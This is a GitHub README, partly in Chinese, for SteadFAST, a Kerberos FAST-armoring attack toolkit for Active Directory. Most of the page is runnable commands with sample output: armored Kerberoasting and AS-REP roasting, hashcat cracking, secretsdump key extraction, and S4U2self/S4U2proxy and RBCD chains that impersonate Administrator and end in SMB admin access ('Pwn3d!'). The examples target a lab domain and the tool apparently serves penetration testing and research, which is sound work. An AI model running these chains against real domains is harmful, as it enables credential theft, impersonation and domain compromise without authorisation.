cbev0x/SteadFAST

GitHub: cbev0x/SteadFAST

一款 Kerberos FAST 防护攻击工具包,专用于在强制防护策略的 Active Directory 环境下执行装甲化的票据请求、Kerberoasting 及委派攻击。

Stars: 0 | Forks: 0

# SteadFAST 一个用于“失败即解除防护”(fail-unarmored)Active Directory 环境的 Kerberos FAST / 防护(armoring)攻击工具包。基于 Scapy 原生的 Kerberos 层构建。已在完全补丁的 Windows Server 2025 上进行过测试。 标准工具(impacket、非 LSASS 的 Rubeus)会发送未防护的 TGS-REQ。在 `CbacAndArmorLevel = 3`(失败即解除防护的认证请求)下,这些请求会得到一个**长度为零的回复**,并导致工具挂起。SteadFAST 会对每个请求进行防护,因此它能在标准工具无法工作的情况下完成任务——包括完整的约束委派和 RBCD 链,没有任何其他公开工具能在强制策略下实现这一点。 ## 功能 | 命令 | 功能描述 | |---|---| | `posture` | 从网络流量中指纹识别 FAST 强制等级 (S0/S1/S2/S3) | | `roast` | 防护的 AS 请求服务票据(在 S3 下无需 TGT 的 Kerberoast) | | `asreproast` | AS-REP roast —— 测试强制策略是否覆盖无预认证路径 | | `delegate` | 防护的 TGS-REQ、S4U2self 以及完整的 S4U2self->S4U2proxy / RBCD 链 | | `inspect` | 离线 ccache 分析 —— 票据标志和 PAC 缓冲区签名 | **独特功能:** `delegate --s4u2proxy` 在 S3 失败即解除防护下执行防护的 S4U2self -> S4U2proxy / RBCD 链。这是 impacket 的 `getST` 和 Rubeus 会卡死的操作(它们发送未防护的 TGS-REQ 并得到长度为零的空回复)。SteadFAST 是唯一实现此功能的公开工具。 ## 环境要求 ``` Python 3.9+ scapy >= 2.7.0 impacket >= 0.13.0 pyasn1 >= 0.5.0 pycryptodome >= 3.18.0 ``` ``` git clone https://github.com/cbev0x/SteadFAST cd SteadFAST pip install -r requirements.txt ``` ## 命令与示例 所有命令共享这些全局标志: ``` -v / --verbose per-step detail --debug everything, including Scapy internals --timeout SEC per-request KDC timeout (default 5s) ``` 防护源标志(由 posture / roast / asreproast / delegate 共享): ``` --armor-user SAM armor account sAMAccountName (default: fakepc$) --armor-password PW armor account password --armor-hashes NTHASH armor account NT hash --armor-aes-key HEX armor account AES256 key (avoids password derivation) ``` ### posture 指纹识别 KDC 的 FAST 支持和强制等级。运行三个阶段 (未防护的 AS-REQ、防护 TGT、防护的 AS-REQ)并将它们映射到四种 状态之一:S0(关闭)、S1(支持)、S2(总是提供声明)、S3(失败即解除防护)。输出将观察到的网络结果与带有置信度标签的推断结论分开。 ``` python -m steadfast posture \ -d reflect.lab \ -u jdoe -p Password123! \ --armor-password Password123! \ --dc-ip 10.10.20.10 ``` ``` [*] FAST posture -- 10.10.20.10 (REFLECT.LAB) unarmored AS-REQ : rejected -- KDC_ERR_POLICY armor TGT : obtained (fakepc$, etype 18) armored AS-REQ : success -------------------------------------------- verdict : FAST ENFORCED (fail-unarmored) confidence : confirmed ``` 当你直接拥有 AES256 密钥(例如来自 secretsdump)时,使用 `--aes-key` / `--armor-aes-key` 可以避免密码推导: ``` python -m steadfast posture \ -d reflect.lab -u jdoe \ --aes-key \ --armor-aes-key \ --dc-ip 10.10.20.10 ``` ### roast 在 FAST 防护下请求 AS 请求的服务票据(来自 AS 交换的 ST,而非 TGS)。 该票据使用服务账户的长期密钥加密,并且可以离线破解。适用于标准 TGS-REQ Kerberoast 会卡住的 S3 失败即解除防护环境。 单个目标: ``` python -m steadfast roast \ -d reflect.lab -u jdoe -p Password123! \ --armor-password Password123! \ -s MSSQLSvc/target.reflect.lab:1433 \ --dc-ip 10.10.20.10 \ --save svc.ccache ``` 扫描(逗号分隔或文件): ``` python -m steadfast roast \ -d reflect.lab -u jdoe -p Password123! \ --armor-password Password123! \ --targets MSSQLSvc/svc1.reflect.lab:1433,cifs/srv02.reflect.lab \ --dc-ip 10.10.20.10 \ --save-hashes loot.txt ``` 破解: ``` hashcat -m 19700 loot.txt rockyou.txt # AES256 hashcat -m 13100 loot.txt rockyou.txt # RC4 ``` ### asreproast 测试在强制策略下,无预认证账户是否可以被未防护地 AS-REP-roasted。 在 S3 下,KDC 返回 `KDC_ERR_POLICY` —— 无预认证路径被覆盖。 在 S0/S1/S2 下,它返回一个可破解的 `$krb5asrep$` 哈希。 ``` python -m steadfast asreproast \ -d reflect.lab -u svc-nopreauth \ --dc-ip 10.10.20.10 ``` 用户列表扫描: ``` python -m steadfast asreproast \ -d reflect.lab \ --user-list users.txt \ --dc-ip 10.10.20.10 \ --save-hashes asrep-hashes.txt ``` ### delegate 在 FAST 下执行 TGS 级操作。所有阶段都经过防护,因此它们可以在未防护工具会挂起的 S3 下完成。 **强制策略探测** —— 运行未防护 + 防护的 TGS-REQ 并输出结论: ``` python -m steadfast delegate \ -d reflect.lab -u jdoe -p Password123! \ --armor-password Password123! \ -s cifs/srv02.reflect.lab \ --dc-ip 10.10.20.10 \ --probe ``` **防护的 RBCD 链** —— S3 下的 S4U2self 然后是 S4U2proxy。 前置条件: ``` # 在 DC 上:授予 fakepc$ 对目标的 RBCD 权限 Set-ADComputer SRV02 -PrincipalsAllowedToDelegateToAccount (Get-ADComputer fakepc) # fakepc$ 需要为 S4U2self 阶段注册 SPN Set-ADComputer fakepc -ServicePrincipalNames @{Add='host/fakepc.reflect.lab'} ``` ``` python -m steadfast delegate --s4u2proxy \ -d reflect.lab \ -u 'fakepc$' -p 'Password123!' \ --armor-password 'Password123!' \ --impersonate Administrator \ -s cifs/srv02.reflect.lab \ --dc-ip 10.10.20.10 \ --save admin.ccache ``` ``` [*] S4U2self (armored): fakepc$@reflect.lab -> host/fakepc.reflect.lab as Administrator S4U2self : forwardable ST obtained [*] S4U2proxy (armored): -> cifs/srv02.reflect.lab as Administrator S4U2proxy : service ticket obtained [+] armored S4U2proxy chain complete: Administrator -> cifs/srv02.reflect.lab [+] saved service ticket ccache: admin.ccache ``` ``` KRB5CCNAME=admin.ccache nxc smb srv02.reflect.lab -k --use-kcache # SMB srv02.reflect.lab 445 SRV02 [+] reflect.lab\Administrator 来自 ccache (Pwn3d!) ``` **经典 KCD(协议转换):** ``` # 在 DC 上 Set-ADUser svc-web -Add @{'msDS-AllowedToDelegateTo'='cifs/srv02.reflect.lab'} Set-ADAccountControl svc-web -TrustedToAuthForDelegation $true ``` ``` python -m steadfast delegate --s4u2proxy \ -d reflect.lab \ -u svc-web -p Password123! \ --armor-password Password123! \ --self-spn http/web.reflect.lab \ --impersonate Administrator \ -s cifs/srv02.reflect.lab \ --dc-ip 10.10.20.10 \ --save kcd.ccache ``` **仅保存 TGT**(用于与其他工具交叉验证): ``` python -m steadfast delegate \ -d reflect.lab -u jdoe -p Password123! \ --armor-password Password123! \ -s cifs/srv02.reflect.lab \ --dc-ip 10.10.20.10 \ --save-tgt jdoe.ccache ``` #### delegate 标志 | 标志 | 描述 | |---|---| | `-s SPN` | 目标 SPN | | `--impersonate USER` | S4U2self 模拟目标 | | `--s4u2proxy` | 完整的防护 S4U2self -> S4U2proxy 链 | | `--self-spn SPN` | 委派服务自身的 SPN(默认:对于 `$` 账户为 `host/.`) | | `--save PATH` | 保存最终的服务票据 ccache | | `--save-tgt PATH` | 保存防护的用户 TGT ccache | | `--armor-tgs` | 防护单个 TGS-REQ 阶段 | | `--probe` | 运行未防护 + 防护的 TGS-REQ 并进行比较 | ### inspect 离线读取 ccache 并报告每个票据的标志和 PAC 缓冲区集。不需要 网络,也不需要 KDC。用于确认票据是否可转发,以及在尝试委派之前检查是否存在 Ticket Signature(PAC 缓冲区 0x10,即 CVE-2020-17049 的 Bronze-Bit 防护补丁),非常有用。 票据级别(无需密钥): ``` python -m steadfast inspect admin.ccache ``` ``` [*] ticket 0: Administrator@reflect.lab -> cifs/srv02.reflect.lab@REFLECT.LAB flags : forwardable renewable pre_authent enc_pa_rep [forwardable] etype : 18 ``` 使用服务账户密钥读取 PAC: ``` python -m steadfast inspect asreq-st.ccache \ --service-key 6f4650058d111f6794caab1b17281c6eb8a0290a1395a11a96402a8f88692779 \ --etype 18 ``` ``` [*] ticket 0: jdoe@REFLECT.LAB -> fakepc$@REFLECT.LAB flags : forwardable renewable initial pre_authent enc_pa_rep [forwardable] etype : 18 PAC buffers: 0x01 Logon Info, 0x06 Server Checksum, 0x07 KDC (privsvr) Checksum, 0x0a Client Info, 0x0c UPN/DNS Info, 0x0d Client Claims, 0x10 Ticket Signature, 0x13 Extended KDC Signature Ticket Signature (0x10): PRESENT ``` 如果未提供路径,则使用 `$KRB5CCNAME`: ``` python -m steadfast inspect --service-key --etype 18 ``` ## 备注 ### fakepc$ 设置 `fakepc$` 是在没有实际加入域的情况下创建的机器账户。在 DC 上: ``` # 创建账户(如果不存在) New-ADComputer -Name fakepc -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true # 注册 S4U2self 所需的 SPN Set-ADComputer fakepc -ServicePrincipalNames @{Add='host/fakepc.reflect.lab'} # 对于 RBCD:授予其对目标的权限 Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount (Get-ADComputer fakepc) ``` 获取其 AES256 密钥(避免每次运行时进行密码推导): ``` impacket-secretsdump 'reflect.lab/Administrator:Password123!@dc01.reflect.lab' \ -just-dc-user 'fakepc$' | grep aes256 ``` ### Scapy FAST x S4U2self 补丁 `lib/_scapy_fast_s4u_patch.py` 修复了 Scapy 2.7.0 中的一个错误:在 FAST 下, PA-S4U-X509-USER 校验和使用的是原始 TGT 会话密钥而不是 FAST 回复密钥(即 authenticator 子密钥)进行密钥派生。这导致任何防护的 S4U2self 请求都会出现 `KRB_AP_ERR_MODIFIED (41)`。该补丁会在 `delegate` 开始时自动应用,并将被提交上游至 [secdev/scapy](https://github.com/secdev/scapy)。 ## 相关文章 - [第 1 部分 —— Kerberos FAST 防护:它是什么以及强制策略实际上是如何工作的](https://cbev0x.github.io/personal/research/2026/07/29/Kerberos_FAST_Research_part_1.html) - [第 2 部分 —— SteadFAST:针对失败即解除防护域的防护 Kerberos 攻击工具](https://cbev0x.github.io/personal/research/2026/07/30/Kerberos_FAST_Research_part_2.html) ## 鸣谢 - Charlie Clark / Semperis —— AS 请求的服务票据原语,4768-not-4769 检测 - monsieurPale / [BreakFAST](https://github.com/monsieurPale/BreakFAST) —— 来自未加入域主机的防护 TGT + 防护 TGS-REQ;本项目所基于的现有技术 - Tim Medin —— Kerberoasting - Will Schroeder —— AS-REP roasting - TrustedSec / Andrew Schwartz —— 关于 impacket/Rubeus 在强制策略下崩溃的经验性记录文档 - Steve Syfuhs —— FAST 内部机制详解
标签:Python, SNMP, 协议分析, 无后门, 权限提升, 活动目录, 网络安全, 逆向工具, 隐私保护